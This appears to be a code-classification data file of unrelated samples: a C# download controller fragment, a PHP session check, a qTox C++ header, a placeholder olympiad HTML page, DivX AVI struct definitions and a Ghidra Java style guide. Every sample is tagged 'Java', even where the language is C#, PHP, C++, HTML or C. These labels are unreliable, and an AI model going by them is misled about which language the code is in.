}
orderItem.DownloadCount++;
_orderService.UpdateOrder(order);
return GetFileContentResultFor(download, product, data);
}
}
public ActionResult GetLicense(Guid id)
{
if (id == Guid.Empty)
return HttpNotFound();
var orderItem = _orderService.GetOrderItemByGuid(id);
if (orderItem == null)
return HttpNotFound();
var order = orderItem.Order;
var product = orderItem.Product;
if (!_downloadService.IsLicenseDownloadAllowed(orderItem))
{
NotifyError(T("Common.Download.NotAllowed"));
return RedirectToAction("DownloadableProducts", "Customer");
}
if (_customerSettings.DownloadableProductsValidateUser)
{
if (_workContext.CurrentCustomer == null)
return new HttpUnauthorizedResult();
if (order.CustomerId != _workContext.CurrentCustomer.Id)
{
NotifyError(T("Account.CustomerOrders.NotYourOrder"));
return RedirectToAction("DownloadableProducts", "Customer");
}
}
var download = _downloadService.GetDownloadById(orderItem.LicenseDownloadId.HasValue ? orderItem.LicenseDownloadId.Value : 0);
if (download == null)
{
NotifyError(T("Common.Download.NotAvailable"));
return RedirectToAction("DownloadableProducts", "Customer");
}
if (download.UseDownloadUrl)
return new RedirectResult(download.DownloadUrl);
return GetFileContentResultFor(download, product);
}
public ActionResult GetFileUpload(Guid downloadId)
{
var download = _downloadService.GetDownloadByGuid(downloadId);
if (download == null)
{
NotifyError(T("Common.Download.NotAvailable"));
return RedirectToAction("DownloadableProducts", "Customer");
}
if (download.UseDownloadUrl)
return new RedirectResult(download.DownloadUrl);
return GetFileContentResultFor(download, null);
}
public ActionResult GetUserAgreement(int productId, bool? asPlainText)
{
var product = _productService.GetProductById(productId);
if (product == null)
return Content(T("Products.NotFound", productId));
if (!product.IsDownload || !product.HasUserAgreement || product.UserAgreementText.IsEmpty())
return Content(T("DownloadableProducts.HasNoUserAgreement"));
if (asPlainText ?? false)
{
var agreement = HtmlUtils.ConvertHtmlToPlainText(product.UserAgreementText);
agreement = HtmlUtils.StripTags(HttpUtility.HtmlDecode(agreement));
return Content(agreement);
}
return Content(product.UserAgreementText);
}
}
}
| Java |
<?
function auth_check_login()
{
ob_start();
session_start();
if ( $_SESSION["auth_id"] != "BVS@BIREME" ) {
ob_end_clean();
header("Location: /admin/index.php?error=TIMEOUT");
exit;
}
ob_end_clean();
}
?> | Java |
/*
Copyright © 2014-2015 by The qTox Project Contributors
This file is part of qTox, a Qt-based graphical interface for Tox.
qTox is libre software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
qTox is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with qTox. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef FILETRANSFERWIDGET_H
#define FILETRANSFERWIDGET_H
#include <QWidget>
#include <QTime>
#include "src/chatlog/chatlinecontent.h"
#include "src/core/corestructs.h"
namespace Ui {
class FileTransferWidget;
}
class QVariantAnimation;
class QPushButton;
class FileTransferWidget : public QWidget
{
Q_OBJECT
public:
explicit FileTransferWidget(QWidget* parent, ToxFile file);
virtual ~FileTransferWidget();
void autoAcceptTransfer(const QString& path);
bool isActive() const;
protected slots:
void onFileTransferInfo(ToxFile file);
void onFileTransferAccepted(ToxFile file);
void onFileTransferCancelled(ToxFile file);
void onFileTransferPaused(ToxFile file);
void onFileTransferResumed(ToxFile file);
void onFileTransferFinished(ToxFile file);
void fileTransferRemotePausedUnpaused(ToxFile file, bool paused);
void fileTransferBrokenUnbroken(ToxFile file, bool broken);
protected:
QString getHumanReadableSize(qint64 size);
void hideWidgets();
void setupButtons();
void handleButton(QPushButton* btn);
void showPreview(const QString& filename);
void acceptTransfer(const QString& filepath);
void setBackgroundColor(const QColor& c, bool whiteFont);
void setButtonColor(const QColor& c);
bool drawButtonAreaNeeded() const;
virtual void paintEvent(QPaintEvent*) final override;
private slots:
void onTopButtonClicked();
void onBottomButtonClicked();
void onPreviewButtonClicked();
private:
static QPixmap scaleCropIntoSquare(const QPixmap &source, int targetSize);
private:
Ui::FileTransferWidget *ui;
ToxFile fileInfo;
QTime lastTick;
quint64 lastBytesSent = 0;
QVariantAnimation* backgroundColorAnimation = nullptr;
QVariantAnimation* buttonColorAnimation = nullptr;
QColor backgroundColor;
QColor buttonColor;
static const uint8_t TRANSFER_ROLLING_AVG_COUNT = 4;
uint8_t meanIndex = 0;
qreal meanData[TRANSFER_ROLLING_AVG_COUNT] = {0.0};
bool active;
};
#endif // FILETRANSFERWIDGET_H
| Java |
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Example Mathematical Olympiad: XMO 2014 in Example Host Country Name</title>
<link rel="stylesheet" href="https://www.example.org/subdir/xmo.css" type="text/css">
</head>
<body>
<h1>XMO: XMO 2014 in <a href="/subdir/countries/country1/">Example Host Country Name</a></h1>
<table class="xmo-list">
<tr><th>XMO number</th><td>1</td></tr>
<tr><th>Year</th><td>2014 (<a href="http://www.example.com/" target="_blank">home page</a>)</td></tr>
<tr><th>Country</th><td><a href="/subdir/countries/country1/">Example Host Country Name</a></td></tr>
<tr><th>City</th><td>Example Host City Name</td></tr>
<tr><th>Start date</th><td>2014-04-01</td></tr>
<tr><th>End date</th><td>2014-04-02</td></tr>
<tr><th>Contact name</th><td>Example Contact Name</td></tr>
<tr><th>Contact email</th><td>[email protected]</td></tr>
<tr><th>Participating teams</th><td>3 (<a href="/subdir/xmos/xmo1/countries/">list</a>)</td></tr>
<tr><th>Contestants</th><td>5 (<a href="/subdir/xmos/xmo1/scoreboard/">scoreboard</a>, <a href="/subdir/xmos/xmo1/people/">list of participants</a>, <a href="/subdir/xmos/xmo1/people/summary/">table of participants with photos</a>)</td></tr>
<tr><th>Number of exams</th><td>2</td></tr>
<tr><th>Number of problems</th><td>6 (marked out of: 7+7+7+7+7+7)</td></tr>
<tr><th>Gold medals</th><td>2 (scores ≥ 28)</td></tr>
<tr><th>Silver medals</th><td>1 (scores ≥ 21)</td></tr>
<tr><th>Bronze medals</th><td>1 (scores ≥ 14)</td></tr>
<tr><th>Honourable mentions</th><td>1</td></tr>
</table>
<!-- #include virtual="xmos/xmo1/extra.html" -->
<h2>Day 1 papers</h2>
<ul>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day1-bg-English.pdf">English</a></li>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day1-English.pdf">English</a> (without background design)</li>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day1-bg-French.pdf">French</a></li>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day1-French.pdf">French</a> (without background design)</li>
</ul>
<h2>Day 2 papers</h2>
<ul>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day2-bg-English.pdf">English</a></li>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day2-English.pdf">English</a> (without background design)</li>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day2-bg-French.pdf">French</a> (corrected)</li>
<li><a href="https://www.example.org/subdir/xmos/xmo1/paper-day2-French.pdf">French</a> (without background design, corrected)</li>
</ul>
</body>
</html>
| Java |
/*!
@file
@verbatim
$Id: AVIStructures.h 52604 2008-04-23 05:33:29Z jbraness $
Copyright (c) 2007 DivX, Inc. All rights reserved.
This software is the confidential and proprietary information of
DivX, Inc. and may be used only in accordance with the terms of
your license from DivX, Inc.
@endverbatim
*/
#ifndef _AVISTRUCTURES_H_
#define _AVISTRUCTURES_H_
#ifdef __cplusplus
extern "C" {
#endif
#include "DivXInt.h"
typedef struct _AviStructureHeader_
{
char cId[4];
uint32_t size;
char cType[4];
} AVIStructureHeader;
typedef AVIStructureHeader RiffHeader;
typedef AVIStructureHeader ListHeader;
typedef struct __AVIHeader__
{
int32_t dwMicroSecPerFrame; /* set to 0 ? */
int32_t dwMaxBytesPerSec; /* maximum transfer rate */
int32_t dwPaddingGranularity; /* pad to multiples of this size, normally 2K */
int32_t dwFlags;
int32_t dwTotalFrames; /* number of frames in first RIFF 'AVI ' chunk */
int32_t dwInitialFrames;
int32_t dwStreams;
int32_t dwSuggestedBufferSize;
int32_t dwWidth;
int32_t dwHeight;
int32_t dwReserved[4];
} AVIHeader;
typedef struct _AVIStreamHeader_
{
char cId[4];
int32_t size;
char ccType[4];
char ccHandler[4];
int32_t dwFlags; /* Contains AVITF_* flags */
int16_t wPriority;
int16_t wLanguage;
int32_t dwInitialFrames;
int32_t dwScale;
int32_t dwRate; /* dwRate / dwScale == samples/second */
int32_t dwStart;
int32_t dwLength; /* In units above... */
int32_t dwSuggestedBufferSize;
int32_t dwQuality;
int32_t dwSampleSize;
int16_t rcFrame_left;
int16_t rcFrame_top;
int16_t rcFrame_right;
int16_t rcFrame_bottom;
} AVIStreamHeader;
typedef struct _AviChunkHeader_
{
char cId[4];
uint32_t size;
} AVIChunkHeader;
typedef struct _AVIStreamFormatVideo_
{
uint32_t biSize;
int32_t biWidth;
int32_t biHeight;
int16_t biPlanes;
int16_t biBitCount;
char cCompression[4];
uint32_t biSizeImage;
int32_t biXPelsPerMeter;
int32_t biYPelsPerMeter;
uint32_t biClrUsed;
uint32_t biClrImportant;
} AVIStreamFormatVideo, AVIStreamFormatSubtitle;
typedef struct _AVIStreamFormatAudio_
{
int16_t wFormatTag; /* format type */
int16_t nChannels; /* number of channels (i.e. mono, stereo...) */
int32_t nSamplesPerSec; /* sample rate */
int32_t nAvgBytesPerSec; /* for buffer estimation */
int16_t nBlockAlign; /* block size of data */
int16_t wBitsPerSample; /* number of bits per sample of mono data */
int16_t cbSize; /* the count in bytes of the size of extra information (after cbSize) */
#define AVI_STRF_MAX_EXTRA 22
uint8_t extra[AVI_STRF_MAX_EXTRA]; /* any extra information, e.g. mp3 needs this */
} AVIStreamFormatAudio;
typedef struct __AVI1IndexEntry__
{
char cId[4];
uint32_t dwFlags;
uint32_t dwOffset;
uint32_t dwSize;
} AVI1IndexEntry;
typedef struct _AVIStreamInfoDRM_
{
int32_t version;
uint32_t sizeDRMInfo;
uint8_t *drmInfo; /* encrpyted drm info. */
uint64_t drmOffset;
} AVIStreamInfoDRM;
#define DRM_INFO_CONSTANTSIZE ( sizeof( uint32_t ) + sizeof( int32_t ) )
typedef struct _DivXIdChunkHeader_
{
char cId[4];
uint32_t size;
uint32_t chunkId;
} DivXIdChunkHeader;
typedef struct MediaSourceType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t Reserved;
uint64_t RiffOffset;
} MediaSource;
typedef struct MediaTrackType
{
char FourCC[4];
uint32_t ChunkSize;
uint32_t ObjectID;
uint32_t MediaSourceID;
char TrackID[4];
int32_t StartTime;
int32_t EndTime;
int32_t LanguageCodeLen;
int16_t LanguageCode[2];
int32_t TranslationLookupID;
int32_t TypeLen;
int16_t Type[20];
} MediaTrack;
#define MTConstantSize ( sizeof( MediaTrack ) -\
( sizeof( int16_t ) *\
20 ) - ( 2 * sizeof( int32_t ) ) - ( sizeof( int16_t ) * 2 ) )
typedef struct DivxMediaManagerType
{
char FourCC[4];
uint32_t ChunkSize;
uint64_t Offset;
char VersionId[3];
uint32_t MenuVersion;
int32_t ObjectID;
int32_t StartingMenuID;
uint32_t DefaultMenuLanguageLen;
uint16_t cDefLang[16 ];
} DivxMediaManagerChunkHeader;
/* wchar default language string follows */
typedef struct DivxMediaMenuType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t BackgroundVideoID;
int32_t BackgroundAudioID;
int32_t StartingMenuItemID;
int32_t EnterAction;
int32_t ExitAction;
int32_t MenuTypeLen;
uint16_t MenuType[32];
int32_t MenuNameLen;
uint16_t MenuName[32];
} DivXMediaMenu;
#define DMMConstantSize ( sizeof( DivXMediaMenu ) -\
( 64 * sizeof( uint16_t ) ) - sizeof( int32_t ) )
typedef struct ButtonMenuType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t OverlayID;
int32_t UpAction;
int32_t DownAction;
int32_t LeftAction;
int32_t RightAction;
int32_t SelectAction;
int32_t ButtonNameLen;
int16_t ButtonName[64];
} ButtonMenu;
#define BMENConstantSize ( sizeof( ButtonMenu ) - ( 64 * sizeof( uint16_t ) ) )
typedef struct MenuRectangleType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t Left;
int32_t Top;
int32_t Width;
int32_t Height;
} MenuRectangle;
typedef struct LanguageMenusType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t LanguageCodeLen;
int16_t LanguageCode[2];
int32_t StartingMenuID;
int32_t RootMenuID;
} LanguageMenus;
typedef struct TranslationType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t LanguageCodeLen;
int16_t LanguageCode[2];
int32_t ValueLen;
} TranslationEntry;
typedef struct _StreamInfoStruct_
{
uint64_t riffOffset;
/* uint64_t indexOffset;
uint32_t moviOffset;
uint32_t headerOffset; */
uint8_t cFourCC[4];
uint8_t typeIndex;
uint8_t trackIndex;
uint8_t trackType;
uint64_t startFrame;
uint64_t endFrame;
uint64_t startTime;
uint64_t endTime;
uint32_t lookupId;
} StreamInfo;
#define VIDEO_TRACK 0
#define AUDIO_TRACK 1
#define SUBTITLE_TRACK 2
typedef struct SubtitleSelectActionType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t TitleID;
char TrackID[4];
} SubtitleSelectAction;
typedef struct AudioSelectActionType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t TitleID;
char TrackID[4];
} AudioSelectAction;
typedef struct PlayFromCurrentOffsetType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t TitleID;
int32_t MediaObjectID;
} PlayFromCurrentOffset;
typedef struct MenuTransitionActionType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t MenuID;
int32_t ButtonMenuID;
} MenuTransitionAction;
typedef struct ButtonTransitionActionType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t ButtonMenuID;
} ButtonTransitionAction;
typedef struct PlayActionType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t TitleID;
int32_t MediaObjectID;
} PlayAction;
typedef struct _MenuInfo_
{
int32_t ObjectID;
int32_t BackgroundVideoID;
int32_t BackgroundAudioID;
int32_t StartingMenuItemID;
int32_t MenuTypeLen;
uint16_t MenuType[32];
int32_t MenuNameLen;
uint16_t MenuName[32];
} MenuInfo;
typedef struct TitleType
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t TranslationLookupID;
int32_t DefaultAudioLen;
int16_t DefaultAudioTrack[4];
int32_t DefaultSubtitleLen;
int16_t DefaultSubtitleTrack[4];
} TitleInfo;
typedef struct _ChapterInfo_
{
char FourCC[4];
uint32_t size;
int32_t ObjectId;
int32_t LookupId;
uint64_t startFrame;
uint64_t endFrame;
uint64_t startTime;
uint64_t endTime;
} ChapterInfo;
typedef struct _ChapterHeader_
{
char FourCC[4];
uint32_t size;
int32_t ObjectId;
int32_t LookupId;
} ChapterHeader;
typedef struct _ButtonInfo_
{
char FourCC[4];
uint32_t ChunkSize;
int32_t ObjectID;
int32_t OverlayID;
int32_t UpAction;
int32_t DownAction;
int32_t LeftAction;
int32_t RightAction;
int32_t SelectAction;
int32_t ButtonNameLen;
int16_t ButtonName[64];
} ButtonInfo;
#ifdef __cplusplus
}
#endif
#endif /* _AVISTRUCTURES_H_ */
| Java |
<!DOCTYPE html>
<html>
<head>
<meta charset = "utf-8">
<title>Ghidra Java Coding Standards</title>
<style media="screen" type="text/css">
li { margin-left: 90px; font-family:times new roman; font-size:14pt; }
h1 { color:#000080; font-family:times new roman; font-size:36pt; font-style:italic; font-weight:bold; text-align:center; }
h2 { margin: 10px; margin-top: 40px; color:#984c4c; font-family:times new roman; font-size:18pt; font-weight:bold; }
h3 { margin-left: 37px; margin-top: 20px; color:#0000ff; font-family:times new roman; font-size:14pt; font-weight:bold; }
h4 { margin-left: 70px; margin-top: 10px; font-family:times new roman; font-size:14pt; font-weight:normal; }
h5 { margin-left: 70px; margin-top: 10px; font-family:times new roman; font-size:14pt; font-weight:normal; }
h6 { color:#000080; font-family:times new roman; font-size:18pt; font-style:italic; font-weight:bold; text-align:center; }
p { margin-left: 90px; font-family:times new roman; font-size:14pt; }
body {
counter-reset: section;
}
h2 {
counter-reset: topic;
}
h3 {
counter-reset: rule;
}
h2::before {
counter-increment: section;
content: counter(section) ": ";
}
h3::before {
counter-increment: topic;
content: counter(section) "." counter(topic) " ";
}
h4::before {
counter-increment: rule;
content: counter(section) "." counter(topic) "." counter(rule) " ";
}
div.info {
margin-left: 10px; margin-top: 80px; font-family:times new roman; font-size:18pt; font-weight:bold;
}
</style>
</head>
<body>
<H1> Ghidra's Java Style Guide </H1>
<H6> Ver 1.1 - 20190307 </H6>
<H2> Introduction </H2>
<P> The purpose of this document is to record the Ghidra team's accepted rules for code formatting, naming
conventions, code complexity, and other best practices. Many of the rules listed in this document
are not universal absolutes and many blur into areas of personal preferences. The purpose of these
types of rules is not to definitely state that one way is better than another, but that we
are consistent throughout the team.</P>
<P> Most of these rules came from one or more of the listed references at the end of this document. Many of
these rules were listed in just about every guide. Where they disagreed, We generally went with the majority.
Some rules seem arbitrary as to the actual value used, but that a value was needed seemed universal.
For example, just about every reference stated a maximum character line length. We think all were either
80 or 100. So everyone seems to think it is important to have some limit, but they don't agree to the actual number.</P>
<H3> Most Important Rules of All </H3>
<H4> Any of the rules or suggestions in this document can be broken, but you must document why breaking
the rule makes the code better. </H4>
<H4> Program for people, not machines. The primary goal of your development efforts should be that
your code is easy for other people to understand. </H4>
<H2> Naming Conventions </H2>
<H3> General Naming Rules </H3>
<H4> Names for classes, interfaces, methods, parameters, instance variables and long-lived local
variables should not contain abbreviations or acronyms except for well known ones (the abbreviation
is more commonly used than the full name) like URL and HTML. </H4>
<P> The following exceptions are allowed (The list can be expanded with majority approval) </P>
<UL>
<LI> Utils - can be used as a suffix for the name of a class of static utility methods (e.g., StringUtils) </LI>
</UL>
<H4> If an abbreviation or acronym is used, only the first letter should be capitalized. (Unless it
is the beginning of a method or variable name, in which case the first letter is also lower case.) </H4>
<P> For example, use fooUrl, not fooURL. </P>
<H3> Package Naming </H3>
<H4> Package names should start with ghidra.<module group>.<module name>. (e.g., ghidra.framework.docking.)</H4>
<H4> Package names should be all lower case, preferably one word and no abbreviations. </H4>
<H3> Class Naming </H3>
<H4> Class names should be nouns.</H4>
<H4> Class names should use upper CamelCase where the first letter of each word is capitalized.</H4>
<P> Examples: Table, FoldingTable, WoodTable </P>
<H4> Classes that extend other classes should use the base class name as a base and prepend it with what is more
specific about the extended class. </H4>
<P>For example, if the base class is "Truck", the subclasses would have names
like "DumpTruck", "DeliveryTruck", or "FlyingTruck". </P>
<H4> The design pattern of an interface with one or more implementations should use the following naming conventions:</H4>
<UL>
<LI> Foo - The interface should be named the fundamental thing. </LI>
<LI> AbstractFoo - An abstract implementation intended to be used as the base of a hierarchy of classes. </LI>
<LI> DefaultFoo - A "default" implementation that would be appropriate for the majority of use cases. </LI>
<LI> {descriptive}Foo - Other implementations should describe what makes them unique. </LI>
</UL>
<H4> Test class names should end with "Test" (e.g., FooTest).</H4>
<H4> Test doubles or stub objects should use the following naming rules: </H4>
<UL>
<LI> DummyFoo - a stub that returns empty or null values because they are irrelevant to the test. </LI>
<LI> SpyFoo - may provide values to the environment, but also records statistics. </LI>
<LI> MockFoo - provides values to the environment and usually has some form of expectations. </LI>
<LI> FakeFoo - replaces real functionality with a simplified version (like replacing Database access with in-memory data). </LI>
</UL>
<H3> Interface Naming </H3>
<H4> Interface names should be nouns, or adjectives ending with "able" such as Runnable or Serializable.</H4>
<H4> Interface names should use upper CamelCase where the first letter of each word is capitalized.</H4>
<H3> Method Naming </H3>
<H4> Method names should use lower CamelCase where the first letter of each word is capitalized except for the first word.</H4>
<H4> Method names should generally be verbs or other descriptions of actions. </H4>
<H4> Specific naming conventions: </H4>
<UL>
<LI> Methods that access a class's attributes should start with "get" or "set". </LI>
<LI> Methods that return a boolean should start with "is". Sometimes "has", "can", or "should" are more appropriate. </LI>
<LI> Methods that look something up should start with "find" </LI>
</UL>
<H4> Methods that return a value should be named based on what they return. Void methods should be named based on what they do. </H4>
<PRE>
public Foo buildFoo() { // returns a Foo so method name is based on Foo
...
}
public int getSize() { // returns a primitive, which is the size, so name is based on "size"
...
}
public void startServer() { // doesn't return anything so name it based on what it does
...
}
public boolean installHandler(Handler handler) { // even though it returns a boolean, its not about returning
... // a boolean, so name it based on what it does
}
</PRE>
<H3> Instance Variable Naming </H3>
<H4> Instance Variable names should use lower CamelCase where the first letter of each word is capitalized except for the first word.</H4>
<H3> Local Variable and Parameter Naming </H3>
<H4> Local Variable names should use lower CamelCase where the first letter of each word is capitalized except for the first word.</H4>
<H4> Variable names should be proportional in length to their scope. </H4>
<UL>
<LI> Names that live throughout large blocks or methods should have very descriptive names and avoid abbreviations. </LI>
<LI> Names that exist in small blocks can use short or abbreviated names. </LI>
<LI> Names that exist in tiny blocks can use one letter names (e.g., lambdas). </LI>
</UL>
<H4> Variable names should generally have the same name as their class (e.g., Person person or Button button). </H4>
<UL>
<LI> If for some reason, this rule doesn't seem to fit, then that is a strong indication that the type is badly named. </LI>
<LI> Some variables have a role. These variables can often be named {role}Type. For example, Button openButton or
Point startPoint, endPoint. </LI>
</UL>
<H4> Collections should be named the plural form of the type without the collection type name. For example, use List<Dog> dogs, not List<Dog> dogList. </H4>
<H3> Enum Naming </H3>
<H4> Enum class names should be like any other class (UpperCamelCase). </H4>
<H4> Enum value names should be all upper case.</H4>
<PRE>
public enum AnalyzerStatus {
ENABLED, DELAYED, DISABLED
}
</PRE>
<H3> Loop Counters </H3>
<H4> Use of i, j, k, etc. is acceptable as generic loop counters, unless a more descriptive name would greatly enhance the readability. </H4>
<H3> Constants (static final fields) </H3>
<H4> Constants should be all upper case with words separated by "_" (underscore char). </H4>
<P> Examples: MAXIMUM_VELOCITY, or DEFAULT_COLOR </P>
<H3> Generic Types </H3>
<H4> Generic type names should be named in one of two styles: </H4>
<UL>
<LI> A single Capital Letter, optionally followed by a single number (e.g., T, X, V, T2) </LI>
<UL>
<LI> T is used most often for single parameter types. </LI>
<LI> R is commonly used for return type. </LI>
<LI> K,V is commonly used for key,value types. </LI>
</UL>
<LI> A name in the form used for classes followed by the capital letter T (e.g., ActionT, RowT, ColumnT). Try to
avoid using this full name form unless it greatly enhances readability. </LI>
</UL>
<H3> Utility Classes </H3>
<H4>Utility class names should end in "Utils".</H4>
<H2> Source File Structure </H2>
<H3> File Order </H3>
<H4> A Java File should be organized in the following order </H4>
<UL>
<LI> Header </LI>
<LI> Package statement </LI>
<LI> Import statements </LI>
<LI> Class Javadocs </LI>
<LI> Class declaration </LI>
<LI> Static Variables </LI>
<LI> Static factory methods </LI>
<LI> Instance Variables </LI>
<LI> Constructors </LI>
<LI> methods </LI>
<LI> Private classes </LI>
</UL>
<H4> Local variables should be declared when first needed and not at the top of the method and should be
initialized as close to the declaration as possible (preferably at the same time). </H4>
<H4> Overloaded methods should be next to each other. </H4>
<H4> Modifiers should appear in the following order: </H4>
<UL>
<LI> access modifier (public/private/protected) </LI>
<LI> abstract </LI>
<LI> static </LI>
<LI> final </LI>
<LI> transient </LI>
<LI> volatile </LI>
<LI> default </LI>
<LI> synchronized </LI>
<LI> native </LI>
<LI> strictfp </LI>
</UL>
<H2> Formatting </H2>
<P> Most of these are handled by the eclipse formatter and are here to document the Ghidra formatting style.
<H3> Line Length </H3>
<H4> Java code will have a character limit of 100 characters per line. </H4>
<H3> Indenting </H3>
<H4> New blocks are indented using a tab character (the tab should be 4 spaces wide).</H4>
<H4> Line continuation should be indented the same as a new block. </H4>
<H3> Braces </H3>
<H4> Braces should always be used where optional.
<H4> Braces should follow the Kernighan and Ritchie style for nonempty blocks and block-like structures. </H4>
<UL>
<LI> No line break before the opening brace. </LI>
<LI> Line break after the opening brace. </LI>
<LI> Line break before the closing brace. </LI>
<LI> Line break after the closing brace. </LI>
</UL>
<H4> Empty blocks should look as follows. </H4>
<PRE>
void doNothing() {
// comment as to why we are doing nothing
}
</PRE>
<H3> White Space </H3>
<H4> A single blank line should be used to separate the following sections: </H4>
<UL>
<LI> Copyright notice</LI>
<LI> Package statement </LI>
<LI> Import section </LI>
<LI> Class declarations </LI>
<LI> Methods </LI>
<LI> Constructors </LI>
</UL>
<H4> A single blank line should be used: </H4>
<UL>
<LI> Between statements as needed to break code into logical sections. </LI>
<LI> Between import statements as needed to break into logical groups. </LI>
<LI> Between fields as needed to break into logical groups. </LI>
<LI> Between the javadoc description and the javadoc tag section. </LI>
</UL>
<H4> A single space should be used: </H4>
<UL>
<LI> To separate keywords from neighboring opening or closing brackets and braces. </LI>
<LI> Before and after all binary operators </LI>
<LI> After a // that starts a comment </LI>
<LI> Before a // that starts an end of line comment </LI>
<LI> After semicolons separating parts of a "for" loop </LI>
</UL>
<H3> Variable Assignment </H3>
<H4> Each variable should be declared on its own line. </H4>
<PRE>
don't:
int i,j;
do:
int i;
int j;
</PRE>
<H2> Comments </H2>
<H3> Javadoc </H3>
<H4> Javadoc blocks are normally of the form </H4>
<PRE>
/**
* Some description with normal
* wrapping.
*/
</PRE>
<H4> Javadoc paragraphs should be separated by a single blank line (Starts with an aligned *) and
each paragraph other than the initial description should start with <p>. </H4>
<H4> When referencing other methods, use links (e.g., {@link #method(type1, type2, ...} or {@link Classname#method(type1, type2, ...}). </H4>
<H4> Block tags should never appear without a description. </H4>
<H4> Descriptions in block tags should not end in a period, unless followed by another sentence. </H4>
<H4> Block tags that are used should appear in the following order: </H4>
<UL>
<LI> @param </LI>
<LI> @return </LI>
<LI> @throws </LI>
<LI> @see </LI>
<LI> @deprecated </LI>
</UL>
<H4> The Javadoc block should begin with a brief summary fragment. This fragment should be
a noun phrase or a verb phrase and not a complete sentence. However, the fragment is
capitalized and punctuated as if it were a complete sentence. </H4>
<PRE>
For example, do
/**
* Sets the warning level for the messaging system.
*/
not
/**
* This method sets the warning level for the messaging system.
*/
</PRE>
<H4> Javadoc should be present for every public class and every public or protected method with
the following exceptions: </H4>
<UL>
<LI> Methods that override a super method. </LI>
</UL>
<H3> Code Comments </H3>
<H4>Block comments are indented at the same level as the surrounding code.</H4>
<H4>Block comments should be preceded by a blank line unless it is the first line of the block.</H4>
<H4>Block comments should be one of the following forms: </H4>
<PRE>
/*
* This is // I like this
* nice. // also.
*/
</PRE>
<H4> Any empty code block should have a comment so that the reader will know it was intentional. Also,
the comment should not be something like "// empty" or "don't care", but instead should state why it
is empty or why you don't care.</H4>
<H4> Comments should indicate the 'why' you are doing something, not just 'what' you are doing. The code
tells us what it is doing. Comments should not be pseudo code.</H4>
<H4> Prefer creating a descriptive method to using a block comment. So if you feel that a block
comment is needed to explain the next block of code, then it probably would be better off moved
to a method with a name that says what the code does.</H4>
<H4> Use of comments in code should be minimized by making the code self-documenting by appropriate name choices
and an explicit logical structure. </H4>
<H4> Tricky code should not be commented. Instead, it should be rewritten. </H4>
<H2> Complexity </H2>
<H3> Method Size </H3>
<H4> Avoid long methods. </H4>
<UL>
<LI> Methods should perform one clearly defined task. </LI>
<LI> Methods should generally fit on one page (approximately 30 lines). </LI>
</UL>
<H3> Method Complexity </H3>
<H4>A method should be completely understandable (what, how, why) in about 30 seconds. </H4>
<H4> Method Complexity should be kept low, according to the following scale:</H4>
<UL>
<LI><TT>0-5</TT>: The method is *probably* fine</LI>
<LI><TT>6-10</TT>: The method is questionable; seek to simplify</LI>
<LI><TT>11+</TT>: OMG! Unacceptable!</LI>
</UL>
<P>Calculating Complexity:</P>
<UL>
<LI> Start with one. </LI>
<LI> Add one for each of the following. </LI>
<UL>
<LI> Returns: Each return other than a simple early guard condition or the last statement in the method. </LI>
<LI> Selection: if, else if, case, default. </LI>
<LI> Loops: for, while, do-while, break, and continue. </LI>
<LI> Operators: &&, ||, ? </LI>
<LI> Exceptions: catch, finally, throw. </LI>
</UL>
</UL>
<H4>Methods should avoid deep nesting. </H4>
<UL>
<LI> 2 or less - good </LI>
<LI> 3 or 4 - questionable </LI>
<LI> 5 or more - unacceptable </LI>
</UL>
<H4>Methods and constructors should avoid large numbers of parameters.</H4>
<UL>
<LI> 3 or less - good </LI>
<LI> 4 or 5 - questionable </LI>
<LI> 6 or 7 - bad, should consider redesign </LI>
<LI> 8 or more - unacceptable </LI>
</UL>
<H4>All blocks of code in a method should be at the same level of abstraction </H4>
<PRE>
// example of mixed levels:
void doDailyChores() {
dust();
vacuum();
mopFloor();
addDirtyClothesToWashingMachine();
placeDetergentInWashingMachine();
closeWashingMachineDoor();
startWashingMachine();
cleanToilet();
}
// fixed
void doDailyChores() {
dust();
vacuum();
mopFloor();
washClothes();
cleanToilet();
}
</PRE>
<H4>Methods and constructors should generally avoid multiple parameters of the same type, unless the method's purpose
is to process multiple instances of the same type (e.g., comparator, math functions). This is especially egregious
for boolean parameters.</H4>
<H4>Tips for lowering complexity </H4>
<UL>
<LI> Keep the number of nesting levels low </LI>
<LI> Keep the number of variables used low </LI>
<LI> Keep the lines of code low </LI>
<LI> Keep 'span' low (the number of lines between successive references to variables) </LI>
<LI> Keep 'live time' low (the number of lines that a variable is in use) </LI>
</UL>
<H2> Testing </H2>
<H3> Unit testing </H3>
<H4>A single test case should only test one result. If there are more than 2 or 3 asserts in
a single test, consider breaking into multiple tests. </H4>
<H4>Unit tests should run fast (a single test case (method) should be less than a second) </H4>
<H2> Miscellaneous </H2>
<H3> @Override </H3>
<H4> Methods that override a method in a parent class should use the @Override tag. </H4>
